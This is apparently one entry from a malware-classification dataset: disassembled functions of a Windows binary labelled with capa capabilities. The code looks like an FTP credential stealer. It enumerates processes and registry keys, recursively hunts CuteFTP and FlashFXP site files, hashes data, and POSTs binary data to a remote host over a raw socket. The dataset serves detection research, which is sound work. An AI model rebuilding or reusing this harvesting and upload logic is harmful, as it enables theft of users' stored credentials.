joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402c64
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffec0
push ebx
push ebp
mov ebp, esp
pop ebp
push 0x402c7c
clc
jb 0x402c7b
ret
inc dword [ebx + 0x414ac33d]
add byte [eax], al
je 0x402ca0
cmp dword [0x414ac7], 0
je 0x402ca0
cmp dword [0x414aff], 0
je 0x402ca0
cmp dword [0x414b03], 0
jne 0x402ca5
sub eax, eax
pop ebx
leave
ret
sub ebx, ebx
call dword [0x414ac3]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x134], 0x128
push 0
push 2
call sub.kernel32.dll_CreateToolhelp32Snapshot
cmp eax, 0xffffffff
je 0x402dea
mov dword [ebp - 0x138], eax
lea eax, [ebp - 0x134]
push eax
push dword [ebp - 0x138]
call sub.kernel32.dll_Process32First
or eax, eax
je 0x402ddf
push str.explorer.exe
lea eax, [ebp - 0x110]
push eax
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x402dc8
mov dword [ebp - 0x13c], 0
lea eax, [ebp - 0x13c]
push eax
push dword [ebp - 0x12c]
call dword [0x414ac7]
mov edx, dword [ebp - 0x13c]
or eax, eax
je 0x402dc8
cmp edx, dword [ebp - 0xc]
jne 0x402dc8
push dword [ebp - 0x12c]
push 0
push 0x2000000
call sub.kernel32.dll_OpenProcess
or eax, eax
je 0x402dc8
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 0x201eb
push dword [ebp - 8]
call dword [0x414aff]
or eax, eax
je 0x402dc0
push dword [ebp - 4]
call dword [0x414b03]
or eax, eax
je 0x402dae
inc ebx
mov dword [ebp - 0x140], 0
lea eax, [ebp - 0x140]
push eax
push 0xf003f
call sub.advapi32.dll_RegOpenCurrentUser
or eax, eax
jne 0x402daa
cmp dword [ebp - 0x140], 0
je 0x402daa
push dword [ebp - 0x140]
pop dword [0x414841]
jmp 0x402ddf
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
push dword [ebp - 8]
call sub.kernel32.dll_CloseHandle
jmp 0x402dc8
push dword [ebp - 8]
call sub.kernel32.dll_CloseHandle
lea eax, [ebp - 0x134]
push eax
push dword [ebp - 0x138]
call sub.kernel32.dll_Process32Next
jmp 0x402ce4
push dword [ebp - 0x138]
call sub.kernel32.dll_CloseHandle
mov eax, ebx
pop ebx
leave
ret

Function at 0x402def
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push eax
push ebx
push ecx
push edx
push edi
push esi
mov eax, dword [ebp + 0xc]
lea ecx, [eax + 0x80]
lea edx, [eax*8]
mov ebx, eax
mov ecx, eax
shr eax, 6
mov dword [ebp - 0x14], eax
mov edi, dword [ebp + 8]
add edi, ecx
mov byte [edi], pe_nt_image_headers32
and ebx, 0x3f
sub edi, ebx
cmp ebx, 0x38
jb 0x402e35
add edi, ebx
mov eax, 0x40
sub eax, ebx
add edi, eax
inc dword [ebp - 0x14]
mov dword [edi + 0x38], edx
lea esi, [ebp - 0x10]
mov dword [esi], 0x67452301
mov dword [esi + 4], 0xefcdab89
mov dword [esi + 8], 0x98badcfe
mov dword [esi + 0xc], 0x10325476
push dword [ebp - 0x14]
push dword [ebp + 8]
lea eax, [ebp - 0x10]
push eax
call fcn.00402e7a
cld
mov ecx, 4
mov edi, dword [ebp + 0x10]
rep movsd dword es:[edi], dword [esi]
pop esi
pop edi
pop edx
pop ecx
pop ebx
pop eax
leave
ret 0xc
Function at 0x40348d
Capabilities:
Hash data using sha1

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push edi
push esi
push ebx
mov dword [ebp - 4], 0
push dword [ebp + 0xc]
pop dword [ebp - 8]
mov dword [0x418c20], 0x67452301
mov dword [0x418c24], 0xefcdab89
mov dword [0x418c28], 0x98badcfe
mov dword [0x418c2c], 0x10325476
mov dword [0x418c30], 0xc3d2e1f0
jmp 0x4034f3
mov eax, dword [ebp + 8]
add eax, dword [ebp - 4]
push 0x40
push 0x418c34
push eax
call fcn.00401883
add dword [ebp - 4], 0x40
call fcn.004035bf
sub dword [ebp - 8], 0x40
jae 0x4034d7
mov ebx, dword [ebp - 8]
add ebx, 0x40
mov eax, dword [ebp + 8]
add eax, dword [ebp - 4]
push ebx
push 0x418c34
push eax
call fcn.00401883
add dword [ebp - 4], ebx
mov byte [ebx + 0x418c34], 0x80
sub ebx, 0x37
jbe 0x40353b
sub ebx, 8
je 0x40352f
and byte [ebx + 0x418c74], 0
inc ebx
js 0x403525
call fcn.004035bf
mov ebx, 0xffffffc8
jmp 0x40353d
je 0x403547
and byte [ebx + 0x418c6c], 0
inc ebx
js 0x40353d
mov eax, dword [ebp + 0xc]
mov ecx, 8
xor edx, edx
mul ecx
bswap eax
bswap edx
mov dword [0x418c70], eax
mov dword [0x418c6c], edx
call fcn.004035bf
mov eax, dword [0x418c20]
mov edx, dword [0x418c24]
mov ecx, dword [0x418c28]
bswap eax
bswap edx
bswap ecx
mov dword [0x418c20], eax
mov dword [0x418c24], edx
mov dword [0x418c28], ecx
mov eax, dword [0x418c2c]
mov edx, dword [0x418c30]
bswap eax
bswap edx
mov dword [0x418c2c], eax
mov dword [0x418c30], edx
push 0x14
push dword [ebp + 0x10]
push 0x418c20
call fcn.00401883
pop ebx
pop esi
pop edi
leave
ret 0xc
Function at 0x4035bf
Capabilities:
Encode data using xor
Hash data using sha1

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
mov ecx, 0xfffffff8
mov eax, dword [ecx*8 + 0x418c74]
mov edx, dword [ecx*8 + 0x418c78]
bswap eax
bswap edx
mov dword [ecx*8 + 0x418c74], eax
mov dword [ecx*8 + 0x418c78], edx
inc ecx
jne 0x4035ca
mov ecx, 0xffffffc0
mov eax, dword [ecx*4 + 0x418d68]
mov edx, dword [ecx*4 + 0x418d54]
xor eax, dword [ecx*4 + 0x418d3c]
xor edx, dword [ecx*4 + 0x418d34]
xor eax, edx
rol eax, 1
mov dword [ecx*4 + 0x418d74], eax
inc ecx
jne 0x4035f2
mov ebx, dword [0x418c20]
mov esi, dword [0x418c24]
mov edi, dword [0x418c28]
push dword [0x418c2c]
pop dword [ebp - 4]
push dword [0x418c30]
pop dword [ebp - 8]
mov ecx, 0xffffffec
mov edx, esi
mov eax, edi
not edx
and eax, esi
and edx, dword [ebp - 4]
or eax, edx
add eax, dword [ecx*4 + 0x418c84]
add eax, dword [ebp - 8]
add eax, 0x5a827999
push dword [ebp - 4]
pop dword [ebp - 8]
mov dword [ebp - 4], edi
rol esi, 0x1e
mov edi, esi
mov esi, ebx
rol ebx, 5
add ebx, eax
inc ecx
jne 0x403645
mov ecx, 0xffffffec
mov eax, esi
mov edx, edi
xor eax, dword [ebp - 4]
xor eax, edx
add eax, dword [ecx*4 + 0x418cd4]
add eax, dword [ebp - 8]
add eax, 0x6ed9eba1
push dword [ebp - 4]
pop dword [ebp - 8]
mov dword [ebp - 4], edi
rol esi, 0x1e
mov edi, esi
mov esi, ebx
rol ebx, 5
add ebx, eax
inc ecx
jne 0x40367e
mov ecx, 0xffffffec
mov eax, edi
mov edx, dword [ebp - 4]
or eax, dword [ebp - 4]
and edx, edi
and eax, esi
or eax, edx
add eax, dword [ecx*4 + 0x418d24]
add eax, dword [ebp - 8]
add eax, 0x8f1bbcdc
push dword [ebp - 4]
pop dword [ebp - 8]
mov dword [ebp - 4], edi
rol esi, 0x1e
mov edi, esi
mov esi, ebx
rol ebx, 5
add ebx, eax
inc ecx
jne 0x4036b3
mov ecx, 0xffffffec
mov eax, esi
mov edx, edi
xor eax, dword [ebp - 4]
xor eax, edx
add eax, dword [ecx*4 + 0x418d74]
add eax, dword [ebp - 8]
add eax, 0xca62c1d6
push dword [ebp - 4]
pop dword [ebp - 8]
mov dword [ebp - 4], edi
rol esi, 0x1e
mov edi, esi
mov esi, ebx
rol ebx, 5
add ebx, eax
inc ecx
jne 0x4036ed
add dword [0x418c20], ebx
add dword [0x418c24], esi
add dword [0x418c28], edi
mov eax, dword [ebp - 4]
add dword [0x418c2c], eax
mov eax, dword [ebp - 8]
add dword [0x418c30], eax
leave
ret

Function at 0x403743
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
call sub.wsock32.dll_inet_addr
cmp eax, 0xffffffff
jne 0x403779
push dword [ebp + 8]
call sub.wsock32.dll_gethostbyname
or eax, eax
jne 0x403766
mov eax, 0xffffffff
jmp 0x403779
mov eax, dword [eax + 0xc]
nop
or eax, eax
jne 0x403775
mov eax, 0xffffffff
jmp 0x403779
mov eax, dword [eax]
mov eax, dword [eax]
leave
ret 4
Function at 0x40377d
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor ebx, ebx
push 6
push 1
push 2
call sub.wsock32.dll_socket
cmp eax, 0xffffffff
jne 0x403798
jmp 0x4037fa
mov ebx, eax
push 0x10
lea eax, [ebp - 0x10]
push eax
call fcn.00401863
mov word [ebp - 0x10], 2
mov ecx, dword [ebp + 0x10]
xchg ch, cl
mov word [ebp - 0xe], cx
cmp dword [ebp + 0xc], 0
je 0x4037bf
mov eax, dword [ebp + 0xc]
jmp 0x4037de
cmp dword [ebp + 0xc], 0
jne 0x4037cf
cmp dword [ebp + 8], 0
jne 0x4037cf
jmp 0x4037f2
push dword [ebp + 8]
call fcn.00403743
cmp eax, 0xffffffff
jne 0x4037de
jmp 0x4037f2
mov dword [ebp - 0xc], eax
push 0x10
lea eax, [ebp - 0x10]
push eax
push ebx
call sub.wsock32.dll_connect
cmp eax, 0xffffffff
jne 0x4037fa
push ebx
call sub.wsock32.dll_closesocket
xor ebx, ebx
mov eax, ebx
pop ebx
leave
ret 0xc

Function at 0x403801
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
cmp dword [ebp + 0x10], 0
jne 0x403817
mov eax, 1
pop edi
pop ebx
leave
ret 0xc
mov edi, dword [ebp + 0xc]
mov ebx, 0
push 0
push dword [ebp + 0x10]
push edi
push dword [ebp + 8]
call sub.wsock32.dll_send
test eax, eax
jle 0x403845
add edi, eax
sub dword [ebp + 0x10], eax
cmp dword [ebp + 0x10], 0
jne 0x403843
mov ebx, 1
jmp 0x403845
jmp 0x40381f
mov eax, ebx
pop edi
pop ebx
leave
ret 0xc

Function at 0x40384d
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push dword [ebp + 0xc]
pop dword [ebp - 0x10c]
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x104], 1
lea eax, [ebp - 0x100]
push dword [ebp + 8]
pop dword [eax]
lea eax, [ebp - 0x10c]
push eax
push 0
push 0
lea eax, [ebp - 0x104]
push eax
push 0
call sub.wsock32.dll_select
cmp eax, 0xffffffff
je 0x4038a0
or eax, eax
jne 0x4038a4
xor eax, eax
jmp 0x4038a9
mov eax, 1
leave
ret 8

Function at 0x4038ad
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push ebx
sub ebx, ebx
push 0x5a
push dword [ebp + 8]
call fcn.0040384d
or eax, eax
je 0x403918
push 0x5a
push dword [ebp + 8]
call fcn.0040384d
or eax, eax
jne 0x4038d4
jmp 0x403918
push 0
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp + 8]
call sub.wsock32.dll_recv
test eax, eax
jle 0x403918
mov eax, dword [ebp + 0x14]
cmp byte [ebp - 1], al
jne 0x4038f2
mov bl, 1
mov edx, dword [ebp + 0xc]
mov edx, dword [edx]
push 0
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp + 0xc]
call dword [edx + 0x10]
push dword [ebp + 0xc]
call fcn.00401082
cmp eax, dword [ebp + 0x10]
jb 0x403914
jmp 0x403918
test ebx, ebx
je 0x4038c4
mov eax, ebx
pop ebx
leave
ret 0x14
Function at 0x40391f
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff800
push ebx
sub ebx, ebx
push 0x5a
push dword [ebp + 8]
call fcn.0040384d
or eax, eax
je 0x4039a0
push 0x5a
push dword [ebp + 8]
call fcn.0040384d
or eax, eax
jne 0x403949
jmp 0x4039a0
cmp dword [ebp + 0x10], 0x800
jbe 0x403959
mov eax, 0x800
jmp 0x40395c
mov eax, dword [ebp + 0x10]
push 0
push eax
lea eax, [ebp - 0x800]
push eax
push dword [ebp + 8]
call sub.wsock32.dll_recv
test eax, eax
jns 0x403974
jmp 0x4039a0
jne 0x403979
inc ebx
jmp 0x4039a0
push eax
mov edx, dword [ebp + 0xc]
mov edx, dword [edx]
push 0
push eax
lea eax, [ebp - 0x800]
push eax
push dword [ebp + 0xc]
call dword [edx + 0x10]
pop eax
sub dword [ebp + 0x10], eax
cmp dword [ebp + 0x10], 0
jne 0x40399c
inc ebx
jmp 0x4039a0
test ebx, ebx
je 0x403939
mov eax, ebx
pop ebx
leave
ret 0xc

Function at 0x403b7c
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
mov word [ebp - 4], 1
mov word [ebp - 2], 0x1e
push 4
lea eax, [ebp - 4]
push eax
push pe_nt_image_headers32
push 0xffff
push dword [ebp + 8]
call sub.wsock32.dll_setsockopt
leave
ret 4
Function at 0x403baa
Capabilities:
Parse url

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffac
push edi
push ebx
mov dword [ebp - 0x54], 0
xor ebx, ebx
push 0x1000
call fcn.0040184c
mov dword [ebp - 0x40], eax
push 0x1000
call fcn.0040184c
mov dword [ebp - 0x48], eax
push 0x1000
call fcn.0040184c
mov dword [ebp - 0x44], eax
lea edi, [ebp - 0x3c]
mov ecx, 0x3c
xor eax, eax
rep stosb byte es:[edi], al
mov dword [ebp - 0x3c], 0x3c
push dword [ebp - 0x40]
pop dword [ebp - 0x2c]
push dword [ebp - 0x48]
pop dword [ebp - 0x10]
mov dword [ebp - 0x28], 0xfff
mov dword [ebp - 0xc], 0xfff
lea eax, [ebp - 0x3c]
push eax
push 0x80000000
push 0
push dword [ebp + 8]
call sub.wininet.dll_InternetCrackUrlA
or eax, eax
je 0x403c2c
cmp dword [ebp - 0x2c], 0
jne 0x403c31
jmp 0x403d2e
mov dword [ebp - 0x50], 0xfff
lea eax, [ebp - 0x50]
push eax
push dword [ebp - 0x44]
push 0x80000000
lea eax, [ebp - 0x3c]
push eax
call sub.wininet.dll_InternetCreateUrlA
or eax, eax
jne 0x403c56
jmp 0x403d2e
mov eax, dword [ebp - 0x48]
mov byte [eax], 0
lea edi, [ebp - 0x3c]
mov ecx, 0x3c
xor eax, eax
rep stosb byte es:[edi], al
mov dword [ebp - 0x3c], 0x3c
push dword [ebp - 0x48]
pop dword [ebp - 0x10]
mov dword [ebp - 0x28], 0xfff
mov dword [ebp - 0xc], 0xfff
lea eax, [ebp - 0x3c]
push eax
push 0
push 0
push dword [ebp - 0x44]
call sub.wininet.dll_InternetCrackUrlA
or eax, eax
je 0x403c9d
cmp dword [ebp - 0x2c], 0
jne 0x403ca2
jmp 0x403d2e
push dword [ebp + 0x10]
push dword [ebp - 0x40]
push dword [ebp - 0x48]
push str.POST__s_HTTP_1.0_r_nHost:__s_r_nAccept:___r_nAccept_Encoding:_identity___q0_r_nContent_Length:__lu_r_nConnection:_close_r_nContent_Type:_application_octet_stream_r_nContent_Encoding:_binary_r_nUser_Agent:_Mozilla_4.0__compatible__MSIE_5.0__Windows_98__r_n_r_n
push dword [ebp - 0x44]
call sub.user32.dll_wsprintfA
add esp, 0x14
movzx eax, word [ebp - 0x24]
push eax
push 0
push dword [ebp - 0x40]
call fcn.0040377d
or eax, eax
jne 0x403cd0
jmp 0x403d2e
mov dword [ebp - 0x4c], eax
push dword [ebp - 0x4c]
call fcn.00403b7c
push dword [ebp - 0x44]
call sub.kernel32.dll_lstrlenA
push eax
push dword [ebp - 0x44]
push dword [ebp - 0x4c]
call fcn.00403801
or eax, eax
jne 0x403cf5
jmp 0x403d26
cmp dword [ebp + 0x10], 0
je 0x403d0f
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 0x4c]
call fcn.00403801
or eax, eax
jne 0x403d0f
jmp 0x403d26
mov ebx, eax
or ebx, ebx
je 0x403d26
lea eax, [ebp - 0x54]
push eax
push dword [ebp + 0x14]
push dword [ebp - 0x4c]
call fcn.004039f5
mov ebx, eax
push dword [ebp - 0x4c]
call sub.wsock32.dll_closesocket
push dword [ebp - 0x40]
call fcn.00401835
push dword [ebp - 0x44]
call fcn.00401835
push dword [ebp - 0x48]
call fcn.00401835
cmp dword [ebp - 0x54], 0
je 0x403d54
push dword [ebp - 0x54]
call fcn.00401835
mov eax, ebx
pop ebx
pop edi
leave
ret 0x10
Function at 0x403f6b
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb4
mov dword [ebp - 0x148], 0
mov eax, dword [ebp + 0xc]
or eax, eax
je 0x403f8a
cmp byte [eax], 0
jne 0x403f8f
jmp 0x404107
push dword [ebp + 0xc]
call fcn.00402526
or eax, eax
jne 0x403faa
push str..
push dword [ebp + 0xc]
call fcn.00401d75
jmp 0x403fb7
push 0x414eca
push dword [ebp + 0xc]
call fcn.00401d75
mov dword [ebp - 0x148], eax
push 0x13e
lea eax, [ebp - 0x13e]
push eax
call fcn.00401863
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x148]
call sub.kernel32.dll_FindFirstFileA
mov dword [ebp - 0x144], eax
inc eax
je 0x404107
lea edx, [ebp - 0x13e]
test dword [edx], 0x10
je 0x404082
lea eax, [edx + 0x2c]
push eax
push 0x414ec0
call sub.kernel32.dll_lstrcmpiA
or eax, eax
jne 0x404016
jmp 0x4040e2
lea edx, [ebp - 0x13e]
lea eax, [edx + 0x2c]
push eax
push 0x414ec2
call sub.kernel32.dll_lstrcmpiA
or eax, eax
jne 0x404033
jmp 0x4040e2
push dword [ebp + 0xc]
call fcn.00402526
or eax, eax
jne 0x40404e
push 0x41481d
push dword [ebp + 0xc]
call fcn.00401d75
jmp 0x404058
push 0
push dword [ebp + 0xc]
call fcn.00401d75
lea edx, [ebp - 0x13e]
lea edx, [edx + 0x2c]
push edx
push eax
call fcn.00401dc9
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.00403f6b
call fcn.00401835
jmp 0x4040e2
lea eax, [edx + 0x2c]
mov dword [ebp - 0x14c], eax
cmp dword [ebp + 0x10], 0
jne 0x404093
jmp 0x4040a5
push dword [ebp + 0x10]
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x4040e2
push 0x41481d
push dword [ebp + 0xc]
call fcn.00401d75
push dword [ebp - 0x14c]
push eax
call fcn.00401dc9
push eax
cmp dword [ebp + 0x18], 0
je 0x4040d1
push dword [ebp + 0x14]
push eax
push dword [ebp + 8]
call dword [ebp + 0x18]
jmp 0x4040dd
push dword [ebp + 0x14]
push eax
push dword [ebp + 8]
call fcn.00403e31
call fcn.00401835
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x144]
call sub.kernel32.dll_FindNextFileA
test eax, eax
jne 0x403fed
push dword [ebp - 0x144]
call sub.kernel32.dll_FindClose
push dword [ebp - 0x148]
call fcn.00401835
leave
ret 0x14
Function at 0x4045d2
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7e8
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [0x414841]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x4046dc
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
lea eax, [ebp - 0x814]
push eax
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumValueA
or eax, eax
je 0x40462f
jmp 0x4046d4
cmp dword [ebp - 0x814], 1
je 0x404646
cmp dword [ebp - 0x814], 7
je 0x404646
inc dword [ebp - 8]
jmp 0x4045fc
push str.Line
lea eax, [ebp - 0x80c]
push eax
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x4046cc
lea eax, [ebp - 0x818]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp + 0xc]
push dword [0x414841]
call fcn.00401cee
or eax, eax
je 0x4046cc
mov dword [ebp - 0x810], eax
push 0xbeef0001
push dword [ebp + 8]
call fcn.004014e6
cmp dword [ebp - 0x814], 1
jne 0x4046a3
push 0
push dword [ebp + 8]
call fcn.004014e6
jmp 0x4046ad
push 1
push dword [ebp + 8]
call fcn.004014e6
push dword [ebp - 0x818]
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.0040151c
push dword [ebp - 0x810]
call fcn.00401835
inc dword [ebp - 8]
jmp 0x4045fc
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 8

Function at 0x4046e0
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7e4
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [0x414841]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x404856
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x404738
jmp 0x40484e
push 0x41481d
push dword [ebp + 0xc]
call fcn.00401d75
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401d75
mov dword [ebp - 0x810], eax
call fcn.00401835
push 0
push 0x41501d
push dword [ebp - 0x810]
push dword [0x414841]
call fcn.00401cee
mov dword [ebp - 0x81c], eax
push 0
push 0x415026
push dword [ebp - 0x810]
push dword [0x414841]
call fcn.00401cee
mov dword [ebp - 0x814], eax
push 0
push 0x41502f
push dword [ebp - 0x810]
push dword [0x414841]
call fcn.00401cee
mov dword [ebp - 0x818], eax
cmp dword [ebp - 0x81c], 0
je 0x40480c
cmp dword [ebp - 0x814], 0
je 0x40480c
cmp dword [ebp - 0x818], 0
je 0x40480c
push 0xbeef0000
push dword [ebp + 8]
call fcn.004014e6
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.00401548
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.00401548
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.00401548
push dword [ebp - 0x81c]
call fcn.00401835
push dword [ebp - 0x814]
call fcn.00401835
push dword [ebp - 0x818]
call fcn.00401835
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.004046e0
push dword [ebp - 0x810]
call fcn.00401835
inc dword [ebp - 8]
jmp 0x40470a
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 8
Function at 0x404c38
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb4
mov dword [ebp - 0x148], 0
mov eax, dword [ebp + 0xc]
or eax, eax
je 0x404c57
cmp byte [eax], 0
jne 0x404c5c
jmp 0x404db5
push dword [ebp + 0xc]
call fcn.00402526
or eax, eax
jne 0x404c77
push str..
push dword [ebp + 0xc]
call fcn.00401d75
jmp 0x404c84
push 0x414eca
push dword [ebp + 0xc]
call fcn.00401d75
mov dword [ebp - 0x148], eax
push 0x13e
lea eax, [ebp - 0x13e]
push eax
call fcn.00401863
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x148]
call sub.kernel32.dll_FindFirstFileA
mov dword [ebp - 0x144], eax
inc eax
je 0x404db5
lea edx, [ebp - 0x13e]
test dword [edx], 0x10
je 0x404d2d
lea eax, [edx + 0x2c]
push eax
push 0x414ec0
call sub.kernel32.dll_lstrcmpiA
or eax, eax
jne 0x404cdf
jmp 0x404d90
lea edx, [ebp - 0x13e]
lea eax, [edx + 0x2c]
push eax
push 0x414ec2
call sub.kernel32.dll_lstrcmpiA
or eax, eax
jne 0x404cfc
jmp 0x404d90
push 0x41481d
push dword [ebp + 0xc]
call fcn.00401d75
lea edx, [ebp - 0x13e]
lea edx, [edx + 0x2c]
push edx
push eax
call fcn.00401dc9
push eax
push dword [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.00404c38
call fcn.00401835
jmp 0x404d90
lea eax, [edx + 0x2c]
mov dword [ebp - 0x14c], eax
push 0x4150d3
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x404d90
push 0x41481d
push dword [ebp + 0xc]
call fcn.00401d75
push dword [ebp - 0x14c]
push eax
call fcn.00401dc9
push eax
push eax
cmp dword [ebp + 0x10], 0
je 0x404d78
push str.Sites_
push eax
call sub.shlwapi.dll_StrStrIA
jmp 0x404d7d
mov eax, 1
pop edx
or eax, eax
je 0x404d8b
push edx
push dword [ebp + 8]
call fcn.00404c21
call fcn.00401835
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x144]
call sub.kernel32.dll_FindNextFileA
test eax, eax
jne 0x404cba
push dword [ebp - 0x144]
call sub.kernel32.dll_FindClose
push dword [ebp - 0x148]
call fcn.00401835
leave
ret 0xc
Function at 0x404fa8
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb4
mov dword [ebp - 0x148], 0
mov eax, dword [ebp + 0xc]
or eax, eax
je 0x404fc7
cmp byte [eax], 0
jne 0x404fcc
jmp 0x4050d0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.00401d75
push eax
push eax
push dword [ebp + 8]
call fcn.00404f47
call fcn.00401835
push str..
push dword [ebp + 0xc]
call fcn.00401d75
mov dword [ebp - 0x148], eax
push 0x13e
lea eax, [ebp - 0x13e]
push eax
call fcn.00401863
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x148]
call sub.kernel32.dll_FindFirstFileA
mov dword [ebp - 0x144], eax
inc eax
je 0x4050d0
lea edx, [ebp - 0x13e]
test dword [edx], 0x10
je 0x4050ab
lea edx, [ebp - 0x13e]
lea eax, [edx + 0x2c]
push eax
push 0x414ec0
call sub.kernel32.dll_lstrcmpiA
or eax, eax
jne 0x405051
jmp 0x4050ab
lea edx, [ebp - 0x13e]
lea eax, [edx + 0x2c]
push eax
push 0x414ec2
call sub.kernel32.dll_lstrcmpiA
or eax, eax
jne 0x40506b
jmp 0x4050ab
lea edx, [ebp - 0x13e]
lea eax, [edx + 0x2c]
mov dword [ebp - 0x14c], eax
push 0x41481d
push dword [ebp + 0xc]
call fcn.00401d75
push dword [ebp - 0x14c]
push eax
call fcn.00401dc9
push dword [ebp + 0x10]
push eax
call fcn.00401dc9
push eax
push eax
push dword [ebp + 8]
call fcn.00404f47
call fcn.00401835
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x144]
call sub.kernel32.dll_FindNextFileA
test eax, eax
jne 0x405029
push dword [ebp - 0x144]
call sub.kernel32.dll_FindClose
push dword [ebp - 0x148]
call fcn.00401835
leave
ret 0xc

Function at 0x4050df
Capabilities:
Gather cuteftp information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push dword [ebp + 0xc]
call fcn.00401e2e
mov dword [ebp - 4], eax
or eax, eax
je 0x405184
push str.GlobalSCAPECuteFTP
push dword [ebp - 4]
call fcn.00401d75
push eax
push str._sm.dat
push eax
push dword [ebp + 8]
call fcn.00404fa8
call fcn.00401835
push str.GlobalSCAPECuteFTP_Pro
push dword [ebp - 4]
call fcn.00401d75
push eax
push str._sm.dat
push eax
push dword [ebp + 8]
call fcn.00404fa8
call fcn.00401835
push str.GlobalSCAPECuteFTP_Lite
push dword [ebp - 4]
call fcn.00401d75
push eax
push str._sm.dat
push eax
push dword [ebp + 8]
call fcn.00404fa8
call fcn.00401835
push str.CuteFTP
push dword [ebp - 4]
call fcn.00401d75
push eax
push str._sm.dat
push eax
push dword [ebp + 8]
call fcn.00404fa8
call fcn.00401835
push dword [ebp - 4]
call fcn.00401835
leave
ret 8

Function at 0x40528d
Capabilities:
Gather flashfxp information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.00401cee
or eax, eax
je 0x405303
mov dword [ebp - 4], eax
push str.Sites.dat
push dword [ebp - 4]
call fcn.00401d75
push 0xbeef0000
push eax
push dword [ebp + 8]
call fcn.0040526a
push str.Quick.dat
push dword [ebp - 4]
call fcn.00401d75
push 0xbeef0001
push eax
push dword [ebp + 8]
call fcn.0040526a
push 0x415300
push dword [ebp - 4]
call fcn.00401d75
push 0xbeef0002
push eax
push dword [ebp + 8]
call fcn.0040526a
push dword [ebp - 4]
call fcn.00401835
leave
ret 0x10